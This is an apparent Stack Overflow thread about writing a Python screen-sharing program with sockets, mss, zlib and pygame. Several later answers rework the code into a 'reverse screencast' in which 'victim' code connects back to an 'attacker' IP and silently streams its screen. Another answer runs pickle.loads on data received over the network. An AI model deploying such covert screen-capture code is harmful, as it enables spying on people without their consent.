Screen sharing in python

Question

Hi I'm stuck and I did not find anything helpful on the internet. I'm trying to make a screen-sharing program in python. The problem is that I can't send the screen in at least 24 fps, because when I take a screenshot with PIL (ImageGrab), something delays there. my client will get the picture (screenshot) from the server and "blit" it to the screen using pygame.

Server:

# -*- coding: utf-8 -*-


import socket
import os
import threading
from PIL import ImageGrab
def RetrFile(name, sock):

    while 1:
        img = ImageGrab.grab()
        img.save("PATH_TO_PIC")

        filename = "PATH_TO_PIC"
        sock.send(str(os.path.getsize(filename)))
        with open('PATH_TO_PIC', 'rb') as f:
            bytesToSend = f.read(1024)
            sock.send(bytesToSend)
            while bytesToSend != "":
                bytesToSend = f.read(1024)
                sock.send(bytesToSend)

def Main():
   host = '0.0.0.0'
   port = 5000

   s = socket.socket()
   s.bind((host,port))

   s.listen(5)
   print "Server Started."

   while True:
       c, addr = s.accept()
       print "Client connected ip: <"+ str(addr) + ">"
       t = threading.Thread(target = RetrFile, args = ("retrThread", c))
       t.start()
   s.close()

if __name__ == '__main__':
    Main()

Client:

import socket
import pygame as pg
def Main():
    host = '127.0.0.1'
    port = 5000


    pg.init()
    display_screen = pg.display.set_mode((1900, 1000))



    clock = pg.time.Clock()

    s = socket.socket()
    s.connect((host,port))
    filename =  "PATH_TO_PIC"
    isExit = False
    while not isExit:

        for event in pg.event.get():
            if event.type == pg.QUIT:
                isExit = True
        data = s.recv(1024)
        print data
        filesize = long(data)

        f = open(filename, 'wb')
        data = s.recv(1024)
        totalRecv  =  len(data)
        f.write(data)
        while totalRecv < filesize:
            data = s.recv(1024)
            totalRecv += len(data)
            f.write(data)
        showImg = pg.image.load('PATH_TO_PIC')
        display_screen.blit(showImg, (0,0))
        pg.display.flip()
        clock.tick(60)
    s.close()

if __name__ == '__main__':
    Main()

Basically my question is: how to share a screen between 2 computers, I don't know if the way of sending a lot of pictures using PIL is efficient and right. is there a more efficient way? that casts the screen of computer no.1 and shows it at computer no.2 ?

According to the `ImageGrab.grab()` docs, it returns an RGBA image. Assuming that's 24-bit per pixel, and an 1920x1080 monitor, each frame will be approx an 8MB image file. You want to send 24 of them per seconds which means you'll be sending around 200MB/s over your socket. Add in the save to disk and read back from disk and this is likely to be getting a bit 'heavy', so your instinct is definitely right. Why do you want to implement this for yourself rather than using one of the many commercially-available screen sharing programs out there? — Tom Dalton, Feb 23 '18 at 15:23
it's a school project in computer science and networking. Is it too hard to program? Then i'll need to change the project — CodeCop, Feb 23 '18 at 15:27
video streaming is its own topic- if you need a networking project you should probably start simpler. — avigil, Feb 23 '18 at 16:01
I don't know I just had an idea to make a screen-sharing program with python using sockets. My teacher accepted this idea and she said that she won't accept hard projects. Do you really think it's hard? If you do, I'll ask my teacher to change the project... — CodeCop, Feb 23 '18 at 16:03
@Tom What if I use mss? I tried to capture one screenshot with that and it takes only 73.4 KB — CodeCop, Feb 23 '18 at 16:12
@OUR Does your teacher allow you to use C as well? You could write your capture logic in C and call it from Python. — mustachioed, Feb 24 '18 at 01:05
Why do you write the image to a file and then read the file back in to your program, rather than just sending the image directly? (Likewise at the client side.) You might also consider finding and sending only the parts of the image that have changed since the previous image, and you might try compressing the image (or image parts) before sending it (or them). — ottomeister, Feb 24 '18 at 01:38
Using MSS, you can send only the PGN bytes, without I/O. you will save a lot of bandwith. For that, you can set `output=None` when calling `save()`. — Tiger-222, Feb 25 '18 at 13:00

Tiger-222 · Accepted Answer · 2018-03-06T22:40:07.200

I just tried and it seems to work pretty well (Python 3). Let me know if you find this acceptable, I am using the MSS module to prevent I/O.

server.py

from socket import socket
from threading import Thread
from zlib import compress

from mss import mss


WIDTH = 1900
HEIGHT = 1000


def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while 'recording':
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)


def main(host='0.0.0.0', port=5000):
    sock = socket()
    sock.connect((host, port))
    try:
        sock.listen(5)
        print('Server started.')

        while 'connected':
            conn, addr = sock.accept()
            print('Client connected IP:', addr)
            thread = Thread(target=retreive_screenshot, args=(conn,))
            thread.start()
    finally:
        sock.close()


if __name__ == '__main__':
    main()

client.py

from socket import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """

    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf


def main(host='127.0.0.1', port=5000):
    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True    

    sock = socket()
    sock.connect((host, port))
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(sock.recv(1), byteorder='big')
            size = int.from_bytes(sock.recv(size_len), byteorder='big')
            pixels = decompress(recvall(sock, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        sock.close()


if __name__ == '__main__':
    main()

You could improve by using another compression algorithm like LZ4, which have a Python implementation. You will need to try out :)

I am using python 2.7 can I use this code? Or this code is only for 3+ — CodeCop, Mar 04 '18 at 17:51
I updated for Python 2, but in any cases you should try to run the code ;) You can save bandwith by reudcing the screen size to capture. — Tiger-222, Mar 06 '18 at 08:39
Is it OK for you? If yes, could you accept the answer please? — Tiger-222, Mar 18 '18 at 03:46
when running this code I get `OSError: [WinError 10049] The requested address is not valid in its context`, any idea why? — skjerns, Jan 18 '20 at 16:37
You need to change the `connect()` in the server to `bind()` — skjerns, Jan 18 '20 at 16:46
It this code working for all kind of OS(where python is running) ? — shivang patel, Apr 25 '20 at 09:18
MSS is cross-platform (Linux, Max, Windows). So I would say yes. — Tiger-222, Apr 25 '20 at 19:28

score 1 · Answer 2 · answered Oct 14 '20 at 14:02

i made a reverse screencast, (a pentesting tool), where the server(victim) will send the data to the client(attacker)

Attacker

import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf

def main(host='192.168.1.208', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)

    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True    

    
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()

if __name__ == "__main__":
    main()

VICTIM

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

WIDTH = 1900
HEIGHT = 1000

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.1.208', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))
    try:
        while True:
            thread = Thread(target=retreive_screenshot, args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()

if __name__ == '__main__':
    main()

score 1 · Answer 3 · 2021-05-28T03:25:37.317

I was interested in a python based screen sharing set of scripts. I did not care to write the low-level socket code. I recently discovered an interesting messaging broker/server called mosquitto (https://mosquitto.org/) In short, you make a connection to the server and subscribe to topics. When the broker receives a message on the topic you are subscribed to it will send you that message.

Here are two scripts that connect to the mosquitto broker. One script listens for a request for a screen grab. The other script requests screen grabs and displays them.

These scripts rely on image processing modules to do the heavy lifting The process is

client requests screen
server is notified that there is a message on a topic for a screen grab
server grabs screen with mss
server converts screen to numpy
server base 64 encodes a compressed pickled numpy image
server does a delta with the last image if possible
server publishes the base 64 string to the screen grab topic
client is notified that there is a message on the screen grab topic
client reverses the process
client displays the screen
client goes back to step 1

Quit the server with a command line message C:\Program Files\mosquitto>mosquitto_pub.exe -h "127.0.0.1" -t "server/quit" -m "0"

This implementation uses delta refreshes. It uses numpy to xor the current and last screen. This really increases the compression ratio. It demonstrates that an offsite server can be used and connected to by many clients who may be interested in a live stream of what is going on on a certain machine. These scripts are definitely not production quality and only serve as a POC.

script 1 - the server

import paho.mqtt.client as mqtt
import time
import uuid
import cv2
import mss
from mss.tools import zlib
import numpy
import base64
import io
import pickle

monitor = 0 # all monitors
quit = False
capture = False

def on_connect(client, userdata, flags, rc):
    print("Connected flags " + str(flags) + " ,result code=" + str(rc))

def on_disconnect(client, userdata, flags, rc):
    print("Disconnected flags " + str(flags) + " ,result code=" + str(rc))

def on_message(client, userdata, message):
    global quit
    global capture
    global last_image

    if message.topic == "server/size":
        with mss.mss() as sct:
            sct_img = sct.grab(sct.monitors[monitor])
            size = sct_img.size
            client.publish("client/size", str(size.width) + "|" + str(size.height))

    if message.topic == "server/update/first":
        with mss.mss() as sct:
            b64img = BuildPayload(False)
            client.publish("client/update/first", b64img)

    if message.topic == "server/update/next":
        with mss.mss() as sct:
            b64img = BuildPayload()
            client.publish("client/update/next", b64img)

    if message.topic == "server/quit":
        quit = True

def BuildPayload(NextFrame = True):
    global last_image
    with mss.mss() as sct:
        sct_img = sct.grab(sct.monitors[monitor])
        image = numpy.array(sct_img)
        if NextFrame  == True:
            # subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
            xor_image = image ^ last_image
            b64img = base64.b64encode(zlib.compress(pickle.dumps(xor_image), 9))
        else:
            # first image - less compression than delta
            b64img = base64.b64encode(zlib.compress(pickle.dumps(image), 9))
            print("Source Image Size=" + str(len(sct_img.rgb)))
        last_image = image
        print("Compressed Image Size=" + str(len(b64img)) + " bytes")
        return b64img

myid = str(uuid.uuid4()) + str(time.time())
print("Client Id = " + myid)
client = mqtt.Client(myid, False)
client.on_connect = on_connect
client.on_disconnect = on_disconnect
client.on_message = on_message
try:
    client.connect("127.0.0.1")
    client.loop_start()
    client.subscribe("server/size")
    client.subscribe("server/update/first")
    client.subscribe("server/update/next")
    client.subscribe("server/quit")
    while not quit:
        time.sleep(5)
        continue
    client.publish("client/quit")
    time.sleep(5)
    client.loop_stop()
    client.disconnect()
except:
    print("Could not connect to the Mosquito server")

script 2 - the client

import paho.mqtt.client as mqtt
import time
import uuid
import cv2
import mss
from mss.tools import zlib
import numpy
import base64
import io
import pickle

quit = False
size = False
capture = False
width = 0
height = 0
last_image = None
first = False

def on_connect(client, userdata, flags, rc):
    print("Connected flags " + str(flags) + " ,result code=" + str(rc))

def on_message(client, userdata, message):
    global quit
    global size
    global capture
    global width
    global height
    global last_image
    global first

    if message.topic == "client/size":
        if width == 0 and height == 0:
            strsize = message.payload.decode("utf-8")
            strlist = strsize.split("|")
            width = int(strlist[0])
            height = int(strlist[1])
            size = True

    if message.topic == "client/update/first":
        # stay synchronized with other connected clients
        if size == True:
            DecodeAndShowPayload(message, False)
            first = True

    if message.topic == "client/update/next":
        # stay synchronized with other connected clients
        if size == True and first == True: 
            DecodeAndShowPayload(message)

    if message.topic == "client/quit":
        quit = True

def DecodeAndShowPayload(message, NextFrame = True):
    global last_image
    global capture
    global quit

    if NextFrame == True:
        # subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
        xor_image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
        image = last_image ^ xor_image
    else:
        # first image - less compression than delta
        image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
    last_image = image
    cv2.imshow("Server", image)
    if cv2.waitKeyEx(25) == 113:
        quit = True
    capture = False

myid = str(uuid.uuid4()) + str(time.time())
print("Client Id = " + myid)
client = mqtt.Client(myid, False)
client.on_connect = on_connect
client.on_message = on_message
try:
    client.connect("127.0.0.1")
    client.loop_start()
    client.subscribe("client/size")
    client.subscribe("client/update/first")
    client.subscribe("client/update/next")
    client.subscribe("client/quit")

    # ask once and retain in case client starts before server
    asksize = False
    while not size:
        if not asksize:
            client.publish("server/size", "1", 0, True)
            asksize = True 
        time.sleep(1)

    first_image = True
    while not quit:
        if capture == False:
            capture = True
            if first_image:
                client.publish("server/update/first")
                first_image = False
            else:
                client.publish("server/update/next")
        time.sleep(.1)

    cv2.destroyAllWindows()
    client.loop_stop()
    client.disconnect()
except:
    print("Could not connect to the Mosquito server")

Sample output showing compression ex: Source is 18,662,400 Bytes (3 screens) A compressed image is as small as 35,588 Bytes which is 524 to 1

score 0 · Answer 4 · edited Sep 14 '20 at 01:54

0

Make the following changes to @Tiger-222's code

size_len = int.from_bytes(sock.recv(1), byteorder='big')

size = int.from_bytes(recvall(sock, size_len), byteorder='big')

edited Sep 14 '20 at 01:54

vmemmap

510
4
20

answered Sep 26 '18 at 22:56

Lookingforanswers

1

It is not clear what your answer is, please provide more context or information about the code you're suggesting. You can also read [How to answer](https://stackoverflow.com/help/how-to-answer) if you need help of how your answer should be formatted for most efficiency. – Johan Sep 26 '18 at 23:23
Hi thanks for the answer, it has been 6 months since I handed in my project, thank you anyways man :) – CodeCop Sep 27 '18 at 16:35
@Remember1312 - I have same requirement - do u have any git repo or any help for end to end code. – Laxmikant Jul 10 '20 at 13:43
@Laxmikant Hey, what do you mean by same requirement / git for end to end code? It has been 2 years since I've handed my project to school I don't think I have it anymore... i'll try to find it – CodeCop Jul 13 '20 at 16:01
@Remember1312 - I have a requirement for a school. let me know if we can take it ahead. contact me on post.laxmikant@gmail.com – Laxmikant Jul 14 '20 at 10:13

score 0 · Answer 5 · answered Oct 19 '20 at 21:56

For server:

import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf


def main(host='0.0.0.0', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)

    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True

    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()


if __name__ == "__main__":
    main()

For Client: import socket from threading import Thread from zlib import compress

from mss import mss


import pygame

WIDTH = 1900
HEIGHT = 1000

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)
x = socket.socket()
def main(host='Your Server IP', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))
    try:
        while True:
            thread = Thread(target=retreive_screenshot, args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()
x.close()
if __name__ == '__main__':
    main()

score 0 · Answer 6 · answered Apr 18 '21 at 03:35

i used the concept of reverse connection, like(reverse shells), i shamelessly copied the above answer(answer 1),and converted it.

Attacker

import socket
from zlib import decompress
import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf

def main(host='192.168.1.208', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)

    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True
    
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()

if __name__ == "__main__":
    main()

client code

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

WIDTH = 1900
HEIGHT = 1000

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.1.208', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))
    try:
        thread = Thread(target=retreive_screenshot, args=(sock,))
        thread.start()
        thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()

if __name__ == '__main__':
    main()

ofcourse this isnt optimized, use some good compression techniques to make it efficient and fast.

Screen sharing in python

6 Answers6

Attacker

client code

ofcourse this isnt optimized, use some good compression techniques to make it efficient and fast.

Linked

Related